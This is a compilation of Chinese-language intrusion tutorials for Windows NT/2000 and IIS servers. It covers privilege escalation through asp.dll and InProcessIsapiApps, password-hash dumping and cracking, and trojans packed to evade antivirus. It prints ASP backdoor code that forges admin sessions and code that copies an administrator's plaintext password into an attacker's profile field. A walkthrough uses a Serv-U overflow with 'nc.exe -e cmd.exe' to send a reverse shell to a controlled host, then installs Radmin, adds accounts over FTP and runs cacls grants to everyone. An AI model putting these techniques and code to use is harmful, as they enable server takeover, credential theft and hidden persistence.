
"C:\\WINNT\\system32\\msw3prt.dll"

看到没有,他说明的是有特权限一族为:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll

这几个文件,不同的机子,可能会不同.

2)把 asp.dll 加入特权一族:

因为 asp.dll 是放在 c:\\winnt\\system32\\inetsrv\\asp.dll (不同的机子放的位置不一定相同)
我们现在加进去 cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\ system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
"C:\\WINNT\\system32\\msw3prt.dll""c:\\winnt\\system32\\inetsrv\\asp.dll"
好了,现在你可以用 cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,注意,用法中的 get 和 set,一个是查看一个是设置.还有就是你运行上面的你要到 C:\\Inetpub\\AdminScripts> 这个目录下.
那么如果你是一个管理员,你的机子被人用这招把 asp 提升为 system 权限,那么,这时,防的方法就是把 asp.dll T 出特权一族,也就是用 set 这个命令,覆盖掉刚才的那些东东.
例 :cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll"
这样就可以了,当你再用 cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 这个语句查之时,如果没有看见 asp.dll,
说明,asp 的权限又恢复到以前的权限.
winNT/2000 提升权限

Windows NT/2000 通用的提升方法

攻击者在获得系统一定的访问权限后通常要把自己的权限提升到管理员组，这样攻击者就控制了该计算机系统。这主要有以下几种方法：1.获得管理员密码，下次就可以用该密码进入系统； 2. 先新建一个用户，然后把这个普通添加到管理员组，或者干脆直接把一个不起眼的用户如 guest 添加到管理员组； 3. 安装后门。

本文简要介绍在 Windows NT4 和 Windows 2000 里攻击者常用的提升权限的方法。下面是具体方法：

方法 1 ：下载系统的 %windir%\\repair\\sam.*（WinNT 4 下是 sam._ 而 Windows2000 下是 sam ）文件，然后用 L0pht 等软件进行破解，只要能拿到，肯花时间，就一定可以破解。

问题：（1 ）攻击者不一定可以访问该文件（看攻击者的身份和管理员的设置）；（2 ）这个文件是上次系统备份时的帐号列表（也可能是第一次系统安装时的），以后更改帐号口令的话，就没用了。

方法 2 ：使用 pwdump（L0pht 自带的，Windows 2000 下无效）或者 pwdump2 ，取得系统当前的用户列表和口令加密列表，然后用 L0pht 破解这个列表。

问题：普通用户不能成功运行 pwdump 类程序（没有权限），例如：使用 unicode 漏洞进入系统时是 IUSR_computer 身份，该用户一般只属于 guests 组的，运行 pwdump 类程序就会失败。

（以上两种是离线的）

方法 3 ：使用 Enum 等程序进行远程破解，猜口令。enum 可以使用指定的字典对远程主机的某个用户进行破解。

问题：（1 ）如果系统设置了帐号锁定的话，破解几次失败，该帐号就锁定了，暂时不能再破解；（2 ）要远程系统开放 Netbios 连接，就是 TCP 的 139 端口，如果用防火墙过滤了的话 Enum 就无法连接到主机。

（以上方法是通过破解获得密码的，还有直接把当前用户提升权限或者添加用户到管理员组的方法。）

方法 4 ：GetAdmin（WinNT 4 下）、PipeUpAdmin （Windows 2000 下），在本机运行可以把当前用户帐号加入管理员组。而 PipeUpAdmin 则比较厉害，普通用户和 Guests 组用户都可以成功运行。

问题：GetAdmin 在 SP4 有补丁修复了，不能用于高于 SP4 的 WinNT 4 系统，当然后来又有 GetAdmin 的增强版本，不过在 SP6a 下好像都不能成功运行。

注：这一方法利用了 WinNT 4 系统的安全漏洞，可以安装补丁解决这一问题。

（此外还有变通的方法。）

方法 5 ：在 WinNT 4 和 Windows 2000 注册表里指定用户 Shell 程序（Explorer.exe）

时没有使用绝对路径，而是使用了一个相对路径的文件名（考虑到兼容性问题）。

由于在系统启动时程序的搜索顺序问题使得 %Systemdrive%\\Explorer.exe（操作系统安装的跟目录下的 Explorer.exe）程序执行，这提供了攻击者一个机会在用户下次登录时执行他自己的程序。

问题：攻击者必须有安装系统逻辑盘跟目录的写权限才行，而一般管理员都设置该目录普通用户禁写。

注：这种方法利用了 WinNT 4/Windows 2000 系统的安全漏洞，可以安装补丁解决这种问题。

方法 6 ：木马：上传木马，然后运行木马，系统重起动后，木马就是本地登录用户的身份了，然后攻击者连接后就有了本地登录用户的权限。因为一般总是管理员本地登录系统，因此这样很可能就获得了管理员的权限。

问题：（1 ）杀毒软件或病毒防火墙可能阻止木马运行，还有可能把木马杀死。

（2 ）有的木马不能在 Guests 组身份下运行，这可能与它添加自动运行的方式有关；如没有权限改写注册表的自动运行位置，不能写入%system% \\ system32 目录（一般的木马都改变文件名，然后写入系统目录，如果没有写入权限系统目录，就不能成功执行木马）。

解决：不过也有用压缩程序（不是通常说的压缩程序，这种压缩程序把可执行程序压缩后，文件变小了，但是仍然可以正常执行）将木马压缩，从而逃过杀毒软件的特征码检测。我曾使用 Aspack 成功压缩了一个木马，逃过了金山毒霸正式版的检测。不过也有的木马 Aspack 压缩不了，如冰河。

方法 7 ： Gina、GinaStub 木马。虽然这个也叫木马，但是它的功能和上边的那种大不相同，因为一般的木马是在对方安装一个 server 端，一旦运行就可以使用 client 端连接到 server 端，并进行操作。而 ginastub 一般只有一个动态连接库文件，需要手工安装和卸载，他的功能也不是使用 client 端控制 server 端，它仅仅就是捕获用户的登录密码。

问题：安装较麻烦，成功的可能性低，而且安装不当会造成被安装的系统不能启动。

注：这一方法利用的不是系统的安全漏洞，因此不能通过安装补丁解决这一问题。关于 Gina，可以参见我的另一篇文章《WinLogon 登录管理和 GINA 简介》

方法 8 ：本地溢出。缓冲区溢出是进行攻击的最好办法，因为一般都可以获得系统权限或者管理员权限；不过很多远程溢出攻击不需要事先有执行程序的权限，而本地溢出就恰好适合提升权限。Win NT4 的 IIS4 的 ASP 扩展有一个本地溢出漏洞，Windows 2000 的静态图像服务也有一个溢出漏洞，利用该漏洞，攻击者可以获得系统权限。当然 Windows NT 和 Windows 2000 还有很多程序有溢出漏洞，这是这些程序不是总在运行，因此被利用的可能性比较小。

问题：（1 ）ASP 扩展的溢出漏洞需要攻击者有向网站的脚本目录的写权限，才能把攻击程序放到网站上，然后执行。

（2 ）静态图像服务缺省没有安装，只有用户在 Windows 2000 上安装静态图像设备（如数码相机、扫描仪等）时才自动安装。

注：这种方法利用了 WinNT 4/Windows 2000 系统的安全漏洞，可以安装补丁解决这种问题。

Windows 2000 专用提升漏洞方法方法 1 ： Windows 2000 的输入法漏洞，利用这个漏洞任何人可以以 LocalSystem 身份执行程序，从而可以用来提升权限，不过该漏洞一般限于物理接触 Windows 2000 计算机的人。当然如果开放了终端服务的话，攻击者也可以远程利用该漏洞。

注：这一方法利用了 Windows 2000 系统的安全漏洞，可以安装补丁解决这一问题。

方法 2 ：利用 Windows 2000 的 Network DDE DSDM 服务漏洞普通用户可以 LocalSystem 身份执行任意程序，可以借此更改密码、添加用户等。Guests 组用户也可以成功利用该漏洞。

问题：这个服务缺省没有启动，需要启动这个服务。

注：这一方法利用了 Windows 2000 系统的安全漏洞，可以安装补丁解决这一问题。

方法 3 ：Windows 2000 的 TELNET 服务进程建立时，该服务会创建一个命名管道，并用它来执行命令。但是，该管道的名字能被预见。如果 TELNET 发现一个已存在的管道名，它将直接用它。攻击者利用此漏洞，能预先建立一个管道名，当下一次 TELNET 创建服务进程时，便会在本地 SYSTEM 环境中

运行攻击者代码。

注：这一方法利用了 Windows 2000 系统的安全漏洞，可以安装补丁解决这一问题。

方法 4 ：WINDOWS 2K 存在一个利用 Debug Registers 提升权限的漏洞。如果攻击者能在 WIN2K 中运行程序，利用此漏洞，他至少能取得对 %Windir%\\SYSTEM32 和注册表 HKCR 的写权。因为 x86 Debug Registers DR0-7 对于所有进程都是全局共享的，因此在一个进程中设置硬件断点，将影响其它进程和服务程序。

注：这一方法利用了 Windows 2000 系统的安全漏洞，不过到目前为止微软仍然没有补丁可以安装，但是漏洞攻击程序已经出现了，因此只能堵住攻击者的入口来阻止利用该漏洞。

---------- --

-- 巧妙配合 asp 木马取得后台管理权限顶(这个可是经典。。。自己体会我不多说了)

前段时间泛滥成灾的动网论坛上传漏洞以及最近接二连三的各种 asp 系统暴露的上传漏洞，可能很多朋友手中有了很多 webshell 的肉鸡，至于选择怎么样这些小鸡的方式也是因人而异，有人继续提升权限，进一步入侵，也有人只是看看，马儿放上去了过了就忘记了，也有一些朋友，当 webshell 的新鲜劲儿过去了后台的神秘感和诱惑力也就大大增加。其实，对很多功能强大的系统而言，拿到后台也就是拿到了一个好的后门了，呵呵.....但是现在比较新的版本的很多 asp 系统密码都是 MD5 加密然后配合严格的验证程序来验证的，但是我们就没有办法突破这些限制了吗？no!我今天就是要说怎么突破这些限制让我们直奔后台，有马儿厩是好办事，follow
me.....

session 欺骗篇

首先简单说一下一般 asp 系统的身份验证原理。

一般来说，后台管理员在登录页面输入账号密码后，程序会拿着他提交的用户名密码去数据库的管理员表里面找，如果有这个人的账号密码就认为你是管理员，然后给你一个表示你身份的 session 值。或者程序先把你的用户名密码提取出来，然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较，如果相等，就跟上面一样给你个表示你身份的 sesion 值。然后你进入任何一个管理页面它都要首先验证你的 session 值，如果是管理员就让你通过，不是的话就引导你回到登录页面或者出现一些奇奇怪怪的警告，这些都跟程序员的个人喜好有关。

知道了原理，我们现在的一个思路就是通过我们的 asp 木马来修改它的程序然后拿到一个管理员 session，这样的话尽管我们没有管理员密码，但是我们一样在后台通行无阻了。我把这种方法称为 session 欺骗。限于篇幅不能每个系统都能详细说明，本文仅以动力文章系统为例来说明。

动力文章系统 3.51，（图一）

图一

其实动力文章系统的所有版本全部通杀，包括动易。大家可以自己实践一下。

我们先来看一下它的验证内容。动力文章 3.51 的验证页面在 Admin_ChkLogin.asp
，其验证内容如下：

```
.....
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
```

set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp"
前面省略号是用户名密码不正确的验证，直到 else，看一下，如果用户名密码正确就给你两个 session 值：
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
我们在看一下其他管理页面是怎么验证 session 的，admin_index.asp 一开始就这样：
if session("AdminName") = "" then response.Redirect "Admin_Login.asp"end if
看起来似乎很严密，但是我们看一下，它这里值验证一个 AdminName 的 session，只要我们的 session 内容是 AdminName 的话不就可以通过了？好，我们开工，先去弄到它的管理员账号再说，这个不要我教你了吧？到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下，我找一个比较没人而内容较多的页面 FriendSite.asp（友情链接页面）来改，呵呵，这样管理员也很难查得出来啊。用 asp 木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话：
dim id
id=trim(request("qwe"))
if id="120" then
session("AdminName")="admin" '这里是假设的，实际操作中可以改成你想要得管理员账号
end if
我简单说一下这句话的意思，就是说从地址栏取得 hehe 的值，如果 hehe=120 的话，那么系统就给我们一个值为 admin 的 session。好了，我们输入看一下，图二：
图二
看到有什么异常吗，没有吧？还是正常页面，但是我们接着在地址栏中输入它的后台管理首页看看，是不是进去了？图三：
图三
呵呵，别做坏事哦.....
小结一下：我们先找到弄到管理员账号，然后找到它的验证页面，根据它的验证内容来写入我们要的后门。不同的系统有不同的验证方式，比如青创文章系统它不但要验证你的用户名还要验证等级，但是我们总体思路还是一样，就是他验证什么我们就加入什么。
密码窃探篇
可以说上述方法在动网论坛或者其他论坛面前是苍白无力的，因为一般论坛由于交互性较强，所以在验证上考虑了很多。以动网为例，你要登录后台，他先验证你有没有先登录了前台，没有的话就给你返回一个错误页面。你登录前台后系统会给你一个 seession 来记录你的 CacheName 和你的 ID，然后在你登录后台的时候拿出来比较你前后台身份是否一致，一直就通过，否则 kill，面对这样严格的验证，难道我们就没有办法基后台了吗？对，没有了（谁拿鸡蛋扔我？这么浪费。），但是我们可以想新的办法，既然验证这么严格，那么我如果拿着密码光明正大的进去呢？因此，这里一个新的思路就是拿到它的明文密码。什么时候有明文密码呢？对了，就在管理员登录的时候。好，我们就在那里做手脚，把它登录的密码发给我们，然后我们拿和它的密码去登录。呵呵，是不是很像 sniffer 啊？在下在前几个月刚和好兄弟潜龙在野利用硬件 sniffer 配合省网安局的人端掉一个非法电影网站，足足 4000G 的硬盘，几十台服务器，一个字：爽
好了，我们开始修改它的程序。编辑 login.asp，加入以下几句话：
if not isnull(trim(request("username"))) then
if request("username")="admin" then
sql="update [Dv_Vser] set UserEmail=(select userpassword from
[Dv_User]
where username=\'"& request("username")&"\') where

UserName=\'aweige\'"
conn.execute(sql)
end if
end if
这几句话的意思就是说如果 admin（假设的，实际操作中改为你要的管理员名字）登录成功就更新数据库，把他的密码放到我资料的 E-mail 中。当然，你必须先在论坛里注册一个用户名。结果如图四：
图四
还有，如果是动网 7.0 以下的默认数据库 admin 表名和 7.0 以上有点不一样，所以实际操作中不可生搬硬套。
后记：
对于以上两种方法直到目前为止我还想不出任何比较有效的解决方法，因为你的网站被人家放了马，你根本就没办法去阻止人家去插入，要是谁有好的解决方法记得告诉我。
另外，希望大家不要去搞破坏，那时我真的不愿看到的，也祝所有的网管们好运，希望你们不会碰上 craker 们。
--
--
巧用 asp 木马和 KV2004 得到管理员权限
重来没写过什么文章，这是第一次，写的不好请大家原谅，高手也不要取笑哦。这里也没什么技术可言，只是我这个菜鸟的一点心得，ok 开始。。。
前段时间动网的 UPfile.asp 漏洞可谓闹的沸沸扬扬，这个漏洞确实很厉害，相信不少新手和我一样种了不少后门在有动网的网站上，但是 asp 木马的权限确实很底，除了删点文章，删点图片好象没什么用了。不行不得到管理员权限简直就辜负了发现这个漏洞的高手们~v~。好，想办法提升权限，我找啊找！网上提升权限的方法几乎都用过了，都没什么用，补丁打的很全啊！接下来用 findpass 想解开管理员的密码，又失败，findpass 要管理员权限才有用。用 pslist 看看晕装的是瑞星+天网，网上的大部分工具遇上这个防御组合一般都没用了。种木马？不行一来
权限太底，二来在瑞星杀天网堵的包围下很少能活出来的。做个添加用户权限的 bat 文件想放到启动组中去，这个方法虽然有点傻但是有一定的可行性，晕又是权限不够加不进去。c 盘下的 "Program Files" "winnt" "Documents and Settings"三个文件甲都没有写权限，更不要说注册表了。郁闷了，给管理员留了句话，然后匆匆下线。
第 2 天上来一看，嘿嘿图被改回来了，管理员应该发现了，这次更不容易得手。登上 asp 木马进去看了一下，昨天传上去的几个 exe 被删了，还好 asp 木马活下来了，咦！c 盘多了文件甲叫 KV2004，原来管理员把瑞星卸了，安了个 kv2004，进 Program Files 看看确实瑞星被卸了。（这里说一下，大部分的杀毒软件默认的安装路径 c:\\Program Files\ \,但是 kv 默认的安装路径是 c:\\kv2004\\）到这里机会就来了我们可以把执行文件捆绑在 kv2004 上，跟随 kv 一起启动。因为 kv 不在 "Program Files" "winnt" "Documents and Settings" 这三个文件甲中，很大可能我可以修改
或者上传文件。行动！在 kv2004 下随便找个 htm 文件删除：(看看有无写删权限）
C:\\>del c:\\kv2004\\GetLicense.htm
拒绝访问
奇怪了，再来看看文件甲属性
C:\\>attrib c:\\kv2004
S R C:\\KV2004
哦是只读。
C:\\>attrib -r -s c:\\kv2004
ok！在试试
C:\\>del c:\\kv2004\\GetLicense.htm

成功了！好写个起用帐号和提升权限的 bat 文件，然后把 bat 文件和 kv2004 的系统服务文件 KVSrvXP.exe 捆绑起来，（注意多下种捆绑器，捆绑一
次用 kv2004 来扫描一次，因为很多捆绑器生成的文件 kv 会把他作为病毒来处理掉）准备上传了，先删掉原来的 KVSrvXP.exe。
C:\\>del c:\\kv2004\\KVSrvXP.exe
拒绝访问
可能是 KVSrvXP.exe 被 windows 调用中，删不掉。没办法了吗？不，删不掉我改名
C:\\>ren c:\\kv2004\\KVSrvXP.exe kv.exe
OK!然后用 asp 木马把修改了的 KVSrvXP.exe 上传到 kv2004 中，接下来就去睡觉把。
4 个小时后登上来用：
net user 起用的帐户
已经在 administrators 组中，接下来要关防火墙，关杀毒软件，还是种木马你随便我了，哈哈！
我觉得入侵没什么固定的模式，具体情况具体分析，杀毒软件同样也可以帮我们忙，这里我只提供了一种思路。请大家指教。
如何绕过防火墙提升权限
本文讲的重点是 webshell 权限的提升和绕过防火墙，高手勿笑。
废话少说，咱们进入正题。
首先确定一下目标：http://www.sun***.com ，常见的虚拟主机。利用 Upfile 的漏洞相信大家获得 webshell 不难。我们这次获得这个 webshell，不是 DVBBS，而是自由动力 3.6 的软件上传过滤不严。网站 http://www.sun***.com/lemon/Index.asp 是自由动力 3.6 文章系统。Xr 运用 WinHex.exe 和 WSockExpert.exe 上传一个网页木马 newmm.asp，用过动鲨的 door.exe 的人都知道，这个是上传 asp 木马内容的。于是，上传海洋 2005a，成功获得 webshell。
测试一下权限，在 cmd 里运行 set，获得主机一些信息，系统盘是 D 盘，也说明了我们的 webshell 有运行权限的。那我们看看 C 盘有什么呢？难道是双系统？浏览后发现没有什么系统文件，只有一些垃圾文件，晕死。没关系，再来检查一下，虚拟主机都有 serv-u 的，这台也不例外，是 5.0.0.8 的。呵呵，是有本地溢出的呀，挖哈哈。
思路：上传 serv-u 本地溢出文件 srv.exe 和 nc.exe 利用 nc 来反连接获得系统 shell。大家是不是发现海洋 2005a 那个上传的组件不好用（反正我总遇到这个问题），没关系，用 rain 改的一个无组件上传，一共有 3 个文件，up.htm, upload.asp 和 uploadclass.asp。upload.asp 和 uploadclass.asp 上传到同一个文件夹，up.htm 是本地用的，修改 up.htm 里的链接地址为：http://www.sun***.com/lemon/upload.asp 就可以上传了。
传上了 srv.exe 和 nc.exe 在 H:\\long\\sun***\\lemon（网站目录）后，发现没有运行权限。没关系，根据经验，一般系统下 D: \\Documents and Settings\\All Users\\是应该有运行权限的。于是想把文件 copy 过去，但是发现我们的 webshell 没有对 D 盘写的权限，晕死。
可以浏览 D:\\program files\\serv-u\\ServUDaemon.ini,不能改，难道要破解 serv-u 的密码，晕，不想。
不可以这么就泄气了，我突然想到为什么系统不放在 C 盘了，难道 C 盘是 FAT32 分区的？（后来证明了我们的想法。这里说一下，如果主机有 win98 的系统盘，那里 99%是 FAT32 分区的。我们还遇到过装有 Ghost 的主机，为了方便在 DOS 下备份，它的备份盘一般都是 FAT 分区的。）如果系统盘是 FAT32 分区，则网站就没有什么安全性可言了。虽然 C 盘不是系统盘，但是我们有执行权限。呵呵，copy srv.exe 和 nc.exe 到 c:\\，运行 srv.exe "nc.exe －e cmd.exe 202.*.*.* 888",这里的 202.*.*.*是我们的肉鸡，在这之前我们已经在肉鸡上运行了 nc －l －p 888。我们在学校内网里，没有公网 ip，不爽-ing。
我们成功获得一个系统 shell 连上肉鸡。（看起来简单，其实这里我们也遇到过挫折，我们发现有些版本的 nc 居然没有-e 这个参数，还以为全世界 nc 功能都一样。后来又发现不同版本的 nc 互连不成功，会出现乱码，没办法用。为此，上传 n 次，错误 n 次，傻了 n 次，后来终于成功了。做黑客还真得有耐心和恒心。）
高兴之余，我们仍不满足，因为这个 shell 实在是太慢了。于是，想用我们最常用的 Radmin，其实管理员

一按 Alt+Ctrl+Del，看进程就能发现 r_server 了，但是还是喜欢用它，是因为不会被查杀。好了，上传 admdll.dll，raddrv.dll，r_server.exe 到 H:\\ long\\sun***\\lemon，再用刚才 nc 得到的 shell 把它们 copy 到 d:\\winnt\\system32\\下，分别运行： r_server /install , net start r_server , r_server /pass:rain /save 。
一阵漫长的等待，终于显示成功了。兴冲冲用 radmin 连上去，发现连接失败。晕死，忘了有防火墙了。上传 pslist 和 pskill 上去，发现有 backice，木马克星等。Kill 掉他们虽然可以登陆，但服务器重启后还是不行，终不是长久之计呀。防火墙是不防 21，80 等端口的，于是，我们的思路又回到了 serv-u 上了。把他的 ServUDaemon.ini 下载下来，覆盖本机的 ServUDaemon.ini，在本机的 serv-u 上添加一个用户名为 xr，密码为 rain 的系统帐号，加上所有权限。再用老办法，上传，用 shell 写入 D:\\program files\\serv-u\ \里，覆盖掉原来的 ServUDaemon.ini。虽然又等了 n 长时间，但是成功了，于是用 flashfxp 连上，发生 530 错误。郁闷，怎么又失败了。（根据经验这样应该就可以了，但为什么不行没有想通，请高手指点。）
不管了，我们重启 serv-u 就 ok 了，怎么重启呢，开始想用 shutdown 重启系统，但那样我们就失去了 nc 这个 shell，还可能被发现。后来，眼睛一亮，我们不是有 pskill 吗？刚才用 pslist 发现有这个进程：ServUDaemon 。把它 kill 了。然后再运行 D:\\program files\\serv-u\\ ServUAdmin.exe ，这里要注意不是 ServUDaemon.exe 。
好了，到这里，我们直接 ftp 上去吧，ls 一下，哈哈，系统盘在我的掌握下。我们能不能运行系统命令呢？是可以的，这样就可以：
ftp>quote site exec net user xr rain /add
在 webshell 上运行 net user，就可以看见添加成功了。
整个入侵渗透到这就结束了，在一阵后清理打扫后。我们就开始讨论了。其实，突破防火墙有很多好的 rootkit 可以做到的，但是我们觉得系统自带的服务才是最安全的后门。
CAcls 命令在提权中的使用

cacls.exe c: /e /t /g everyone:F #把 c 盘设置为 everyone 可以浏览
cacls.exe d: /e /t /g everyone:F #把 d 盘设置为 everyone 可以浏览
cacls.exe e: /e /t /g everyone:F #把 e 盘设置为 everyone 可以浏览
cacls.exe f: /e /t /g everyone:F #把 f 盘设置为 everyone 可以浏览
F:\safe\溢出工具\sqlhello2>cacls
显示或者修改文件的访问控制表(ACL)
CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]]
[/P user:perm [...]] [/D user [...]]
filename 显示 ACL。
/T 更改当前目录及其所有子目录中
指定文件的 ACL。
/E 编辑 ACL 而不替换。
/C 在出现拒绝访问错误时继续。
/G user:perm 赋予指定用户访问权限。
Perm 可以是: R 读取
W 写入
C 更改(写入)
F 完全控制
/R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。
/P user:perm 替换指定用户的访问权限。
Perm 可以是: N 无
R 读取

W 写入

C 更改(写入)

F 完全控制

/D user 拒绝指定用户的访问。

在命令中可以使用通配符指定多个文件。